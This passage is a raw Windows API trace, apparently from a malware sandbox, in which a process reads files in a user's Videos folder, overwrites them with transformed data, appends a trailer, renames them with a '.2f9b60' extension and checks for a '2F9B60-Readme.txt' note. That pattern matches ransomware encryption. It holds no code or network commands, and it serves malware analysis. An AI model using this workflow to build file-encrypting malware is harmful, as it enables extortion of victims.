[0123.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65340) returned 1 [0123.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0650) returned 1 Thread: id = 1453 os_tid = 0x1908 [0120.088] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\tuiaMA7JIkLZXu3hZ8v6.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\tuiama7jiklzxu3hz8v6.flv")) returned 0x20 [0120.088] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\tuiaMA7JIkLZXu3hZ8v6.flv", dwFileAttributes=0x20) returned 1 [0120.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\tuiaMA7JIkLZXu3hZ8v6.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\tuiama7jiklzxu3hz8v6.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1830 [0120.090] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x40ecf7a0 | out: lpFileSize=0x40ecf7a0*=3097) returned 1 [0120.090] SetFilePointerEx (in: hFile=0x1830, liDistanceToMove=0xc15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.090] ReadFile (in: hFile=0x1830, lpBuffer=0x40ecf720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x40ecf768, lpOverlapped=0x0 | out: lpBuffer=0x40ecf720*, lpNumberOfBytesRead=0x40ecf768*=0x4, lpOverlapped=0x0) returned 1 [0120.091] SetFilePointerEx (in: hFile=0x1830, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0120.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8000 [0120.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7eb0 [0120.092] NtQuerySystemTime (in: CurrentTime=0x40ecf660 | out: CurrentTime=0x40ecf660*=132462177254938000) returned 0x0 [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x163d0fb2 [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x7e6b96cc [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x618662de [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x4b799b0a [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x3231f4df [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x5b2ee29d [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x248d0c1a [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x7ec3b800 [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x64c53ed0 [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x4b3534c3 [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x72696dae [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x7a19c83f [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x6a219515 [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x21176973 [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x6bfc93be [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x7cfc4a2b [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x40119235 [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x4b39d072 [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x778a7332 [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x2f244180 [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x7dffa9fe [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x6e47426e [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x478d50bd [0120.092] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x4186d5bd [0120.093] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x6e1525ea [0120.093] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x42835540 [0120.093] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x709754ef [0120.093] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x4c29b1f5 [0120.093] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x406ad2e1 [0120.093] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x2e37e9a4 [0120.093] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0xd4a8f67 [0120.093] RtlRandomEx (in: Seed=0x40ecf650 | out: Seed=0x40ecf650) returned 0x2547e17c [0120.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7dc0 [0120.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0120.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d90 [0120.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0120.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7eb0) returned 1 [0120.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0120.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0120.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0120.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0120.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0120.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204ac360 [0120.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204aff70 [0120.101] ReadFile (in: hFile=0x1830, lpBuffer=0x204ac360, nNumberOfBytesToRead=0xc19, lpNumberOfBytesRead=0x40ecf650, lpOverlapped=0x0 | out: lpBuffer=0x204ac360*, lpNumberOfBytesRead=0x40ecf650*=0xc19, lpOverlapped=0x0) returned 1 [0120.101] SetFilePointerEx (in: hFile=0x1830, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.101] WriteFile (in: hFile=0x1830, lpBuffer=0x204aff70*, nNumberOfBytesToWrite=0xc19, lpNumberOfBytesWritten=0x40ecf654, lpOverlapped=0x0 | out: lpBuffer=0x204aff70*, lpNumberOfBytesWritten=0x40ecf654*=0xc19, lpOverlapped=0x0) returned 1 [0122.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ba0 [0122.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b70 [0122.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860b70) returned 1 [0122.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204aff70) returned 1 [0122.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ac360) returned 1 [0122.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0122.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd970d0 [0122.177] SetFilePointerEx (in: hFile=0x1830, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.177] WriteFile (in: hFile=0x1830, lpBuffer=0x1b7d64c0*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x40ecf770, lpOverlapped=0x0 | out: lpBuffer=0x1b7d64c0*, lpNumberOfBytesWritten=0x40ecf770*=0x122, lpOverlapped=0x0) returned 1 [0122.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0122.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0122.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860600) returned 1 [0122.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cda03f0 [0122.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0122.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0122.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd00) returned 1 [0122.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0122.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1ced92b0 [0122.886] sprintf (in: _Dest=0x1ced92b0, _Format="%c%c" | out: _Dest="ef") returned 2 [0122.886] sprintf (in: _Dest=0x1ced92b2, _Format="%c%c" | out: _Dest="ad") returned 2 [0122.886] sprintf (in: _Dest=0x1ced92b4, _Format="%c%c" | out: _Dest="8b") returned 2 [0122.886] sprintf (in: _Dest=0x1ced92b6, _Format="%c%c" | out: _Dest="88") returned 2 [0122.886] sprintf (in: _Dest=0x1ced92b8, _Format="%c%c" | out: _Dest="d2") returned 2 [0122.886] sprintf (in: _Dest=0x1ced92ba, _Format="%c%c" | out: _Dest="b4") returned 2 [0122.886] sprintf (in: _Dest=0x1ced92bc, _Format="%c%c" | out: _Dest="79") returned 2 [0122.886] sprintf (in: _Dest=0x1ced92be, _Format="%c%c" | out: _Dest="06") returned 2 [0122.886] sprintf (in: _Dest=0x1ced92c0, _Format="%c%c" | out: _Dest="19") returned 2 [0122.886] sprintf (in: _Dest=0x1ced92c2, _Format="%c%c" | out: _Dest="ee") returned 2 [0122.886] sprintf (in: _Dest=0x1ced92c4, _Format="%c%c" | out: _Dest="c5") returned 2 [0122.886] sprintf (in: _Dest=0x1ced92c6, _Format="%c%c" | out: _Dest="76") returned 2 [0122.886] sprintf (in: _Dest=0x1ced92c8, _Format="%c%c" | out: _Dest="d1") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92ca, _Format="%c%c" | out: _Dest="c0") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92cc, _Format="%c%c" | out: _Dest="90") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92ce, _Format="%c%c" | out: _Dest="78") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92d0, _Format="%c%c" | out: _Dest="17") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92d2, _Format="%c%c" | out: _Dest="74") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92d4, _Format="%c%c" | out: _Dest="d8") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92d6, _Format="%c%c" | out: _Dest="90") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92d8, _Format="%c%c" | out: _Dest="b0") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92da, _Format="%c%c" | out: _Dest="fc") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92dc, _Format="%c%c" | out: _Dest="c1") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92de, _Format="%c%c" | out: _Dest="ba") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92e0, _Format="%c%c" | out: _Dest="28") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92e2, _Format="%c%c" | out: _Dest="f6") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92e4, _Format="%c%c" | out: _Dest="42") returned 2 [0122.887] sprintf (in: _Dest=0x1ced92e6, _Format="%c%c" | out: _Dest="aa") returned 2 [0122.888] sprintf (in: _Dest=0x1ced92e8, _Format="%c%c" | out: _Dest="47") returned 2 [0122.888] sprintf (in: _Dest=0x1ced92ea, _Format="%c%c" | out: _Dest="58") returned 2 [0122.888] sprintf (in: _Dest=0x1ced92ec, _Format="%c%c" | out: _Dest="9d") returned 2 [0122.888] sprintf (in: _Dest=0x1ced92ee, _Format="%c%c" | out: _Dest="25") returned 2 [0122.888] sprintf (in: _Dest=0x1ced92f0, _Format="%c%c" | out: _Dest="cd") returned 2 [0122.888] sprintf (in: _Dest=0x1ced92f2, _Format="%c%c" | out: _Dest="c3") returned 2 [0122.888] sprintf (in: _Dest=0x1ced92f4, _Format="%c%c" | out: _Dest="4b") returned 2 [0122.888] sprintf (in: _Dest=0x1ced92f6, _Format="%c%c" | out: _Dest="d8") returned 2 [0122.888] sprintf (in: _Dest=0x1ced92f8, _Format="%c%c" | out: _Dest="85") returned 2 [0122.888] sprintf (in: _Dest=0x1ced92fa, _Format="%c%c" | out: _Dest="2c") returned 2 [0122.888] sprintf (in: _Dest=0x1ced92fc, _Format="%c%c" | out: _Dest="a6") returned 2 [0122.888] sprintf (in: _Dest=0x1ced92fe, _Format="%c%c" | out: _Dest="96") returned 2 [0122.888] sprintf (in: _Dest=0x1ced9300, _Format="%c%c" | out: _Dest="d2") returned 2 [0122.888] sprintf (in: _Dest=0x1ced9302, _Format="%c%c" | out: _Dest="d1") returned 2 [0122.888] sprintf (in: _Dest=0x1ced9304, _Format="%c%c" | out: _Dest="2c") returned 2 [0122.888] sprintf (in: _Dest=0x1ced9306, _Format="%c%c" | out: _Dest="95") returned 2 [0122.888] sprintf (in: _Dest=0x1ced9308, _Format="%c%c" | out: _Dest="52") returned 2 [0122.888] sprintf (in: _Dest=0x1ced930a, _Format="%c%c" | out: _Dest="4f") returned 2 [0122.888] sprintf (in: _Dest=0x1ced930c, _Format="%c%c" | out: _Dest="2c") returned 2 [0122.888] sprintf (in: _Dest=0x1ced930e, _Format="%c%c" | out: _Dest="81") returned 2 [0122.888] RtlInitAnsiString (in: DestinationString=0x40ecf7e8, SourceString="efad8b88d2b4790619eec576d1c090781774d890b0fcc1ba28f642aa47589d25cdc34bd8852ca696d2d12c95524f2c81" | out: DestinationString="efad8b88d2b4790619eec576d1c090781774d890b0fcc1ba28f642aa47589d25cdc34bd8852ca696d2d12c95524f2c81") [0122.889] RtlAnsiStringToUnicodeString (in: DestinationString=0x40ecf7b8, SourceString="efad8b88d2b4790619eec576d1c090781774d890b0fcc1ba28f642aa47589d25cdc34bd8852ca696d2d12c95524f2c81", AllocateDestinationString=1 | out: DestinationString="efad8b88d2b4790619eec576d1c090781774d890b0fcc1ba28f642aa47589d25cdc34bd8852ca696d2d12c95524f2c81") returned 0x0 [0122.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x1198c0 [0122.889] wcscat (in: _Dest=0x106640, _Source="efad8b88d2b4790619eec576" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\efad8b88d2b4790619eec576") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\efad8b88d2b4790619eec576" [0122.889] wcscat (in: _Dest=0x106640, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\efad8b88d2b4790619eec576.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\efad8b88d2b4790619eec576.2f9b60" [0122.889] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\efad8b88d2b4790619eec576.2f9b60", NtPathName=0x40ecf790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\efad8b88d2b4790619eec576.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776d90 [0123.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776d90) returned 1 [0123.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49cb0) returned 1 [0123.222] NtQueryInformationFile (in: FileHandle=0x1830, IoStatusBlock=0x40ecf7f8, FileInformation=0x40ecf808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x40ecf7f8, FileInformation=0x40ecf808) returned 0x0 [0123.222] NtSetInformationFile (FileHandle=0x1830, IoStatusBlock=0x40ecf7f8, FileInformation=0x40ecf808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106640) returned 1 [0123.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 [0123.236] FlushFileBuffers (hFile=0x1830) returned 1 [0123.243] CloseHandle (hObject=0x1830) returned 1 [0123.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862eb0 [0123.273] wcscpy (in: _Dest=0x1b862eb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0123.273] wcscat (in: _Dest=0x1b862eb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" [0123.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\2f9b60-readme.txt")) returned 0x20 [0123.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862eb0) returned 1 [0123.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad550) returned 1 Thread: id = 1454 os_tid = 0x190c [0120.109] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\U9fY5u3prKSza_.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\u9fy5u3prksza_.swf")) returned 0x20 [0120.110] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\U9fY5u3prKSza_.swf", dwFileAttributes=0x20) returned 1 [0120.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\U9fY5u3prKSza_.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\u9fy5u3prksza_.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1834 [0120.110] GetFileSizeEx (in: hFile=0x1834, lpFileSize=0x40f9f8e0 | out: lpFileSize=0x40f9f8e0*=62073) returned 1 [0120.110] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0xf275, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.110] ReadFile (in: hFile=0x1834, lpBuffer=0x40f9f860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x40f9f8a8, lpOverlapped=0x0 | out: lpBuffer=0x40f9f860*, lpNumberOfBytesRead=0x40f9f8a8*=0x4, lpOverlapped=0x0) returned 1 [0120.111] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0120.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7eb0 [0120.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d00 [0120.112] NtQuerySystemTime (in: CurrentTime=0x40f9f7a0 | out: CurrentTime=0x40f9f7a0*=132462177255094000) returned 0x0 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0xdd22bf8 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x2adf6c [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x5bc621a5 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x7f878394 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x3adf8711 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x21176973 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x3e3937f2 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x248d0c1a [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x555b3b4e [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x7f878394 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x72b4c13e [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x56420e72 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x506a84e0 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x6484f870 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x382798b9 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x7bec8bcc [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x6d493fa6 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0xeda33e5 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x39f07785 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x24060bd6 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x1dbb54db [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x67828c8e [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x3f8ea4df [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x35ef57b5 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x2e232d00 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x45c6ceed [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x41d5ff6f [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x358e6c53 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x2f4de3a4 [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x1843e62f [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x592c787b [0120.112] RtlRandomEx (in: Seed=0x40f9f790 | out: Seed=0x40f9f790) returned 0x2b9a4d1e [0120.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7df0 [0120.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b90 [0120.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0120.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0120.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d00) returned 1 [0120.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0120.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204a0f30 [0120.120] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.120] ReadFile (in: hFile=0x1834, lpBuffer=0x204a0f30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x40f9f800, lpOverlapped=0x0 | out: lpBuffer=0x204a0f30*, lpNumberOfBytesRead=0x40f9f800*=0x3c00, lpOverlapped=0x0) returned 1 [0120.120] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0120.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b90 [0120.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0120.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0120.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204a8750 [0120.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0120.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d00 [0120.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d00) returned 1 [0120.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0120.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0120.121] WriteFile (in: hFile=0x1834, lpBuffer=0x204a8750*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x40f9f800, lpOverlapped=0x0 | out: lpBuffer=0x204a8750*, lpNumberOfBytesWritten=0x40f9f800*=0x3c00, lpOverlapped=0x0) returned 1 [0122.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204a8750) returned 1 [0122.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204a0f30) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cda0470 [0122.180] SetFilePointerEx (in: hFile=0x1834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: 